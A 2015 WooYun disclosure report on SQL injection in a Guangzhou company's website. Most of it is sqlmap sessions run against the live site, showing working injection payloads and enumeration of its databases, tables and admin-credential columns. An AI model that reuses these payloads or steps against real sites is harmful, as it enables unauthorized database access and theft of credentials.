当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130697

漏洞标题:广州市玄武无线科技有限公司页面存在sql注入,而且存在文件遍历漏洞

相关厂商:广州市玄武无线科技有限公司

漏洞作者: 路人甲

提交时间:2015-07-31 16:03

修复时间:2015-08-05 16:04

公开时间:2015-08-05 16:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-31: 细节已通知厂商并且等待厂商处理中
2015-08-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

无标题1.png

无标题.png


root@kali:~# sqlmap -u "http://www.wxchina.com/index.php?s=/About/about_trends/aid/156*.html" --dbms mysql
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:34:37
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[12:34:42] [INFO] testing connection to the target URL
[12:34:43] [INFO] testing if the target URL is stable. This can take a couple of seconds
[12:34:44] [INFO] target URL is stable
[12:34:44] [INFO] testing if URI parameter '#1*' is dynamic
[12:34:45] [INFO] confirming that URI parameter '#1*' is dynamic
[12:34:45] [INFO] URI parameter '#1*' is dynamic
[12:34:46] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[12:34:46] [INFO] testing for SQL injection on URI parameter '#1*'
[12:34:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:34:48] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:34:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:34:49] [INFO] testing 'MySQL inline queries'
[12:34:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:34:49] [WARNING] time-based comparison requires larger statistical model, please wait...................
[12:35:01] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:35:12] [INFO] URI parameter '#1*' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
[12:35:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:35:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:35:13] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:35:17] [INFO] target URL appears to have 21 columns in query
[12:35:23] [INFO] URI parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 53 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.wxchina.com:80/index.php?s=/About/about_trends/aid/156 AND 1778=1778.html
Type: UNION query
Title: MySQL UNION query (NULL) - 21 columns
Payload: http://www.wxchina.com:80/index.php?s=/About/about_trends/aid/156 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71696e6871,0x476e4e4955484a6e6a4c,0x7174747071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.wxchina.com:80/index.php?s=/About/about_trends/aid/156 AND SLEEP(5).html
---
[12:37:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[12:37:20] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.wxchina.com'
[*] shutting down at 12:37:20
root@kali:~# sqlmap -u "http://www.wxchina.com/index.php?s=/About/about_trends/aid/156*.html" --dbms mysql --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:37:37
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[12:37:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.wxchina.com:80/index.php?s=/About/about_trends/aid/156 AND 1778=1778.html
Type: UNION query
Title: MySQL UNION query (NULL) - 21 columns
Payload: http://www.wxchina.com:80/index.php?s=/About/about_trends/aid/156 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71696e6871,0x476e4e4955484a6e6a4c,0x7174747071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.wxchina.com:80/index.php?s=/About/about_trends/aid/156 AND SLEEP(5).html
---
[12:37:41] [INFO] testing MySQL
[12:37:42] [INFO] confirming MySQL
[12:37:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
[12:37:43] [INFO] fetching database names
[12:37:43] [INFO] the SQL query used returns 6 entries
[12:37:44] [INFO] retrieved: "information_schema"
[12:37:44] [INFO] retrieved: "mysql"
[12:37:45] [INFO] retrieved: "test"
[12:37:45] [INFO] retrieved: "test2"
[12:37:46] [INFO] retrieved: "xuanwu"
[12:37:46] [INFO] retrieved: "zuime_24999"
available databases [6]:
[*] information_schema
[*] mysql
[*] test
[*] test2
[*] xuanwu
[*] zuime_24999


Database: xuanwu                                                               
[37 tables]
+---------------+
| nk_ad |
| nk_admin |
| nk_adposition |
| nk_article |
| nk_caiji |
| nk_category |
| nk_cjgz |
| nk_column |
| nk_down |
| nk_downcate |
| nk_download |
| nk_email |
| nk_flash |
| nk_flashcate |
| nk_friendlink |
| nk_goods |
| nk_issue |
| nk_join |
| nk_limit |
| nk_logindata |
| nk_message |
| nk_navigate |
| nk_news |
| nk_newscate |
| nk_note |
| nk_photo |
| nk_photocate |
| nk_piccate |
| nk_picphoto |
| nk_picture |
| nk_qudaojm |
| nk_question |
| nk_record |
| nk_seo |
| nk_service |
| nk_show |
| nk_switch |
+---------------+
Database: xuanwu
Table: nk_admin
[4 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| name | varchar(255) |
| password | varchar(255) |
| rank | int(11) |
+----------+--------------+


不搞了,就到这吧,

漏洞证明:

如上,存在大量漏洞啊,

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-05 16:04

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无